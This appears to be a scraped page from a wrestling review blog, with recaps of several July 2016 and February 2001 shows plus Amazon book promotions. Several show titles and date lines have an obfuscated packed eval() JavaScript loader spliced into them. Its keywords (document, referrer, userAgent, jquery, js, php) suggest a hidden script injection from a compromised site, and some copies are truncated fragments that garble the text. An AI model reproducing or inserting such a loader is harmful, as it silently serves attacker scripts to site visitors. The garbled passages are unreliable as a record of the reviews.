Ring of Honor TV – July 13, 2016: They’re Back!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbnbd|var|u0026u|referrer|zbbyh||js|php'.split('|'),0,{})) of Honor
Date: July 13, 2016
Location: Cabarrus Arena, Concord, North Carolina
Commentators: Kevin Kelly, Nigel McGuinness

We open with stills from Lethal vs. Briscoe II where Lethal retained the title clean.

Jason Kincaid vs. Donovan Dijak

Back with Kincaid minus his shirt and getting thrown out of a suplex for a big crash. Another faceplant lets Kincaid come back again, setting up a seated Blockbuster to put Donovan on the floor. That means a suicide dive into a sunset bomb, followed by a springboard tornado DDT for two on Dijak back inside. That was a very flashy looking sequence and Kincaid gets even better by standing on the post for a super Diamond Dust (flipping Stunner). An armbar on the chokeslam arm has Dijak in trouble but he catches Kincaid coming off the top in Feast Your Eyes for the pin at 9:41.

ACH is ready to become #1 contender to the TV Title tonight.

Tag Team Titles: Addiction vs. Beer City Bruiser/Silas Young

Mark Briscoe vs. ACH

ACH runs way too far around the ring and jumps to the apron for a headscissors around the post. Back in and ACH tries a springboard in but Mark dropkicks him backwards as we take a break. We come back to ACH hitting a discus lariat in the corner before they fight over a suplex for a long time. Mark finally gets him over but bangs his own head in the process to put both guys down again.

Briscoe and Fish stare each other down to end the show.

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Lucha Underground – July 13, 2016: The Non-Calm Before The Lucha

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhzn|var|u0026u|referrer|dafay||js|php'.split('|'),0,{})) Underground
Date: July 13, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The opening recap focuses on the Gift of the Gods Title and King Cuerno vs. Mil Muertes in a death match.

Gift of the Gods Title: Siniestro de la Muerte vs. Daga vs. Mariposa vs. Marty Martinez vs. Sexy Star vs. Killshot vs. Night Claw

The other three start slugging it out in the middle with some quick rollup attempts for two each. Claw gives Daga a 619 but Muerte takes Claw down with a lifting reverse DDT. Daga drops Claw with a clothesline but gets kneed in the head, followed by a standing C4 to eliminate Muerte at 2:55.

We take a break and come back with Star knocking Mariposa off the top for a crash onto Daga, followed by a parade of dives. Back in and Daga grabs a guillotine choke on Marty, only to have Claw break it up with a guillotine legdrop. Well to be fair no one ever cared about logic around here. Claw makes up for it a bit with a super hurricanrana and Phoenix Splash to get rid of Daga at 11:10.

King Cuerno vs. Mil Muertes

Cuerno backdrops him onto the ladder though and pulls out ANOTHER table, giving us four around the ring. As so many have before, Cuerno makes the mistake of going after Catrina and gets speared through a table. Back to back powerbombs put him through two more tables and Cuerno is basically done. A crowbar shot to the head destroys Cuerno even further and a Tombstone puts him out of his misery at 13:49.

We look at Vampiro vs. Pentagon Jr. from last year to set up Matanza vs. Pentagon Jr. next week.

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


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WWE Releases Draft Rules

http://www.wwe.com/article/wwe-draft-rules-2016?sf31145497=1

Just in case you thought Smackdown would be treated equally or better you see.  Of course I don’t know why you would think that when Stephanie runs Raw.




Thunder – February 21, 2001: It’s So Easy

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzfhe|var|u0026u|referrer|nbrbb||js|php'.split('|'),0,{})) February 21, 2001
Location: Von Braun Civic Center, Huntsville, Alabama
Commentators: Mike Tenay, Tony Schiavone

We open with Kwee Wee issuing an open challenge. Brace yourselves.

Kwee Wee vs. Kaz Hayashi

Post match Kaz gets planted by a piledriver to keep things even.

The Boogie Knights agree to team up one more time to face AJ Styles and Air Paris for an easy win. I think I know where this is going.

Shawn Stasiak and Mark Jindrak jump Big Vito.

Air Paris/AJ Styles vs. Boogie Knights

Kid Romeo is still coming.

Shawn Stasiak vs. Big Vito

Video on Hugh Morrus.

The Cat/Diamond Dallas Page vs. Kanyon/Buff Bagwell

Jeff Jarrett vs. Crowbar

Jeff loads up Shattered Dreams but Dustin Rhodes comes out for the save.

Ric tells Rick and Animal to take out Hugh Morrus to keep Scott free tonight.

Lex Luger vs. Chuck Palumbo

Before the match, Luger goes on a rant about how Palumbo wanted to be him and how rich he is because of his amazing abilities. A GOLDBERG chant cuts him off but Luger gets back to the point: he and Bagwell are winning the titles. Palumbo runs him over with a clothesline to start but Luger takes it to the floor to beat him down. Some forearms to the back set up the powerslam but Palumbo small packages him for the quick pin as Luger goes to pick him up for the Rack.

Morrus locks Animal and Rick Steiner in a locker room before the main event. Smart big man.

Hugh Morrus vs. Scott Steiner

Non-title. Steiner beats him into the corner to start and calls fans white trash while firing off chops. A powerbomb out of the corner drops Morrus and the slow beating continues. Steiner is nice enough to send him outside and then right back in, only to stop to tell a fan that their mother sucks. Those should be fighting words but Steiner is too busy yelling at a referee.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New E-Book: WWE Grab Bag

Grab Bag

The book sells for $3.99 or the equivalent in other currencies. In case you don’t have a Kindle, there are plenty of FREE apps you can get from Amazon for pretty much any electronic device, all of which are available at this link.

You can pick up the book from Amazon here.

From the UK Amazon here.

From the Canadian Amazon here.

Or if you’re in another country with its own Amazon page, just search “KB Grab Bag” and it should be the first thing to come up.

Also you can still get any of my previous books on the WWE Championship, the Intercontinental Championship, Monday Night Raw from 1997, 1998 and 2001, Monday Nitro from 1995-1998, In Your House, Summerslam, Starrcade, ECW Pay Per Views, Royal Rumble, Saturday Night’s Main Event, the WWF and WCW pay per views from 1998, Wrestlemania, NXT and Clash of the Champions at my author’s page here.

I hope you like it and shoot me any questions you might have.

KB




Smackdown – July 14, 2016: Going Out Smackdown Style

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isiha|var|u0026u|referrer|rfbsb||js|php'.split('|'),0,{})) July 14, 2016
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Mauro Ranallo, Byron Saxton, Jerry Lawler

Charlotte and Dana Brooke get out of a limo and promise to have Dana take care of Sasha Banks tonight.

Miz is ready to make Darren Young great Again on MizTV.

Sasha Banks vs. Dana Brooke

Dolph Ziggler vs. Rusev

We see the New Day at the Wyatt Compound from Monday.

Enzo Amore/Big Cass vs. AJ Styles/Karl Anderson

Kalisto vs. Tyler Breeze

Kalisto starts fast of course but a Fandango distraction lets Breeze drop him throat first across the top rope. We hit the chinlock on Kalisto for a bit before he makes his quick comeback with the kicks to the chest and the corkscrew cross body. Tyler gets two off a kick but the Salida Del Sol is good enough to put Tyler away at 3:15.

Sasha Banks is getting a concussion test (an hour and a half after her match) when Charlotte and Dana come in. Charlotte says not yet on the title shot so Sasha should find a partner if she can.

Kevin Owens vs. Dean Ambrose

Non-title with Seth Rollins on commentary. And pretty much never mind as Rollins interferes for the DQ at 33 seconds.

Sami Zayn runs out and I smell a tag match.

Kevin Owens/Seth Rollins vs. Dean Ambrose/Sami Zayn

Ambrose saves Sami from an apron powerbomb and brawls with Rollins to end the show.

Results

Sasha Banks b. Dana Brooke – Bank Statement

Dolph Ziggler b. Rusev – Rollup

AJ Styles/Karl Anderson b. Enzo Amore/Karl Anderson – Calf Crusher to Amore

Kalisto b. Tyler Breeze – Salida Del Sol

Dean Ambrose b. Kevin Owens via DQ when Seth Rollins interfered

Kevin Owens/Seth Rollins b. Dean Ambrose/Sami Zayn – Pedigree to Zayn

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Nitro – February 19, 2001: One More Funeral

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzbaz|var|u0026u|referrer|yeezb||js|php'.split('|'),0,{})) Nitro #278
Date: February 19, 2001
Location: Von Braun Civic Center, Huntsville, Alabama
Commentators: Scott Hudson, Tony Schiavone

We open with the pay per view recap.

Jamie Knoble vs. Shannon Moore

Evan Karagias is here with Knoble. They start fast with some quick headscissors until Shannon misses a charge in the corner. Jamie gets two off a northern lights suplex as the announcers actually talk about the match for a change of pace. A running leg lariat in the corner staggers Jamie and knocks him out to the floor for a big flip dive. Shannon dropkicks him into Evan, who is knocked into the steps. Like almost any wrestler would, Evan blames Knoble and decks him from behind, allowing Shannon to hit Bottoms Up for the pin.

Rating: C. More of the same here but at least they might be mixing up the teams a little bit. I can go for the idea of some new teams going into the tournament but it would be nice if they had some new talent instead of the same six guys fighting over and over again. Shannon has been growing on me in the last few weeks and his ring work has been making him stand out, which says a lot given who he has around him.

Mike Awesome vs. Bryan Clarke

Team Canada beats Bryan down until Brian Adams comes out for the save.

Kid Romeo is coming. Or coming back as he was around a little over a year ago.

Chavo Guerrero Jr./Animal vs. Konnan/Billy Kidman

Animal and Konnan start fighting in the back after Chavo has come to the ring. Kidman, in a black shirt for a change, runs in from behind to jump Chavo and we take a break with no bell. We come back to see Chavo and Kidman brawling with referees not being able to break it up. Konnan and Animal come down the ramp and the match actually starts with Chavo hitting a tornado DDT on Kidman.

Buff Bagwell vs. The Cat

Post break Jones is taken away in an ambulance.

US Title: Rick Steiner vs. Lash Leroux

Lash is checked out by medics post break.

Hugh Morrus wants to fight Rick Steiner for personal revenge but his match with Storm tonight is about pleasure.

Lance Storm vs. Hugh Morrus

Rating: D+. The feud had lost any of its heat at this point but it was nice to see them actually stick with Morrus as a big deal who can win matches on his own for a change. Storm is in a really weird place at the moment as he was Commissioner for six days but is now losing most of his matches without putting up much of a fight. It could have been a worse match but Morrus winning made more sense.

The announcers pay tribute to Dale Earnhardt, who passed away the day before.

Kanyon vs. Diamond Dallas Page

Post match Scott Steiner leads the troops out but Page is smart enough to bail into the crowd to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: The Pen Is Mightier Than The Beast

They do know they can make it up right?

http://wrestlingrumors.net/kbs-review-the-pen-is-mightier-than-the-beast/




Cruiserweight Classic – July 13, 2016: Wrestling Matters

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fndhs|var|u0026u|referrer|afbta||js|php'.split('|'),0,{})) Classic
Date: July 13, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan

Opening sequence.

First Round: Alejandro Saez vs. Gran Metalik

A quick argument with the referee allows Metalik to knock him outside for an ACH middle rope springboard flip dive. Back in and a top rope (as in from the middle of the rope instead of the corner) gets two on Saez but Gran gets kicked out to the floor. Saez hits a shooting star off the apron, only to get caught in a Samoan Driver to give Metalik the pin at 4:05.

Metalik is announced as the official winner ala a UFC fight.

Hoho Lun is here to show that this is his job.

First Round: Ariya Daivar vs. Hoho Lun

Clement Petiot is a Lance Storm student from France and seems to be one of the bigger guys in the field.

Cedric Alexander is from Charlotte and used to be in Ring of Honor.

First Round: Clement Petiot vs. Cedric Alexander

We hit the chinlock before a running knee to the face gets two in the corner. Cedric comes right back with a perfect springboard clothesline but Clement flips him inside out with a discus clothesline. Not that it matters as Cedric comes right back with the Lumbar Check (belly to back suplex into a Backstabber) for the pin at 6:01.

Kota Ibushi is ready to prove himself.

First Round: Sean Maluta vs. Kota Ibushi

Ibushi is a big crowd favorite. Feeling out process to start with Maluta taking him down to the mat, only to have Ibushi come back with a kick to the chest. A t-bone suplex sends Maluta flying but Sean gets in a middle rope Codebreaker to knock Ibushi silly. Maluta sends him to the floor and tries a running flip dive, which may or may not have been botched as he landed on the apron but it might have been intentional as he immediately flipped over again to take Ibushi down.

Back in and Kota hits a very high dropkick before some very fast strikes have Sean in trouble. A standing moonsault gets two on Sean but he blocks a superplex, only to get kicked hard out to the floor. Ibushi keeps things fast with a running springboard moonsault to take Sean down. Back in and a superkick knocks Kota silly for two but he pops up and hits a sitout Last Ride for the pin at 9:40.

Results

Gran Metalik b. Alejandro Saez – Samoan Driver

Hoho Lun b. Ariya Daivari – German Suplex

Cedric Alexander b. Clement Petiot – Lumbar Check

Kota Ibushi b. Sean Maluta – Sitout Powerbomb

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – July 13, 2016: One More Match

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkbki|var|u0026u|referrer|dihtd||js|php'.split('|'),0,{})) July 13, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Corey Graves

We open with a long video on Balor vs. Nakamura. They really are making this feel important.

Opening sequence.

For next week:

Bayley vs. Nia Jax

American Alpha vs. Authors of Pain

Samoa Joe vs. Rhyno

Another Balor vs. Nakamura video with wrestlers talking about how big this is due to how big they were in Japan and how close they are in real life. HHH talks about how it would be disrespectful of either of them not to push their friend as hard as they can.

Finn Balor vs. Shinsuke Nakamura

A lot of posing and replays takes us out.

Results

Shinsuke Nakamura b. Finn Balor – Kinshasa

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6